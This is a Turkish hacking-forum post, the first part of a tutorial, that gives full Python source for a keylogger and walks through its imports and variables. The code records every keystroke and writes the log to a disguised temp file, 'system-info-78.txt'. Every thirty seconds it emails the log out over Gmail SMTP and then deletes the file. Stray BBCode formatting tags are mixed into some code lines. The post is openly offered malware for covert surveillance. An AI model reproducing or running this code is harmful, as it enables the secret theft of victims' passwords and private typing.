S-elam Zalım Hıçkırlar ve Olağan Lamer Abiler
Güzel bir konu ile Başlamak İstiyorum Her Zalım Hackerın Yapacağı gibi Keyloger Yapımı
Önce Kodlarımıza Bakalım ve Anlayalım
Not:
Kendinize Mutlaka bir Hosting Ve Domain Edinin Çünkü Bilgiler Oraya Düşecektir
Kod:
from pynput.keyboard import Listener,Key from email.mime.multipart import MIMEMultipart[/FONT][/FONT][/FONT][/FONT][/FONT][/FONT][/SIZE][/FONT][/SIZE][/CENTER]
[SIZE=6][FONT=Arial Black][SIZE=6][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black][CENTER]from email.mime.text import MIMEText
import smtplib
import os
import time
import threading
liste = list()
cpdurum = False
shdurum = False
gr_durum = False
gr_liste = ["}",">","£","#","$","½","","{","[","]"]
shliste = ["=","!","'","^","+","%","&","/","(",")"]
rakam = "0123456789"
def main():
def bas(key):
global liste,cpdurum,shdurum,gr_durum
try:
if shdurum:
if key.char in rakam:
liste.append(shliste[int(key.char)])
else:
if key.char == "*":
liste.append("?")
elif key.char == "-":
liste.append("_")
elif not cpdurum:
liste.append(key.char.upper())
else:
liste.append(key.char)
elif gr_durum:
if key.char in rakam:
liste.append(gr_liste[int(key.char)])
else:
if key.char == "*":
liste.append("\\")
if key.char == "-":
liste.append("|")
if key.char == "q":
liste.append("@")
elif cpdurum:
liste.append(key.char.upper())
else:
liste.append(key.char)
except AttributeError:
if key == Key.space:
liste.append(" ")
if key == Key.enter:
liste.append("\n")
if key == Key.backspace:
liste.append("'<-'")
if key == Key.caps_lock:
cpdurum = not cpdurum
if key == Key.shift_r or key == Key.shift_l:
shdurum = True
if key == Key.alt_gr:
gr_durum = True
if len(liste) >= 30:
dosya_yaz()
liste = list()
def birak(key):
global shdurum,gr_durum
if key == Key.shift_l or key == Key.shift_r:
shdurum = False
if key == Key.alt_gr:
gr_durum = False
def dosya_yaz():
global liste
username = os.getlogin()
with open("C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt","a",encoding = "utf-8") as file:
for x in liste:
file.write(x)
with Listener(on_press=bas,on_release=birak) as listener:
listener.join()
def mail_gonder():
while 1:
time.sleep(30)
username = os.getlogin()
konum = "C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt"
try:
if os.path.getsize(konum) >= 60:
with open(konum,"r",encoding = "utf-8") as file:
icerik = file.read()
yapi = MIMEMultipart()
yapi["From"] = "kimden"
yapi["To"] = "kime"
yapi["Subject"] = "LOG"
yazi = MIMEText(icerik,"plain")
yapi.attach(yazi)
server = smtplib.SMTP("smtp.gmail.com",587)
server.ehlo()
server.starttls()
server.login("kullanici_adi","parola")
server.sendmail("kimden","kime",yapi.as_string())
server.close()
os.remove(konum)
except:
pass
t1 = threading.Thread(target = main)
t2 = threading.Thread(target = mail_gonder)
t1.start()
t2.start()
Şimdi Alıntılar İle İlerleyeceğiz Anlaşılır Bir Şekilde
-from pynput.keyboard import Listener,Key
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import os
import time
import threading
Baş Kısmımız Kütüphanelerimizi Dahil Ettiğimiz Alan
pynput.keyboard // USB İle Bağlı Cihazları Kontrol Etmemizi Sağlayan Kütüphanedir Örnek Klavye Fare Gibi
Listener,Key // Klavye Üzerinden Basılan Tuşları Algılamaya Yarar
email.mime.multipart // Mail Göndermeye Yarar
email.mime.text // Text Formatında Göndermeyi Sağlar
smtplib // Mail Sunucusu Ayarlamayı Sağlar
Değişkenler
// Açıklamayacağım Konu Uzar Araştırıp Çözersin Gr Sh Özel Tuşları Algılaması İçin
// Açıklamayacağım Konu Uzar Araştırıp Çözersin Gr Sh Özel Tuşları Algılaması İçin
-liste = list()--
cpdurum = False
shdurum = False
gr_durum = False
gr_liste = ["}",">","£","#","$","½","","{","[","]"]
shliste = ["=","!","'","^","+","%","&","/","(",")"]
rakam = "0123456789"
Devamı P2 De P2 İçin Tıkla (Konuyu Yazdığımda Eklerim)
Moderatör tarafında düzenlendi:



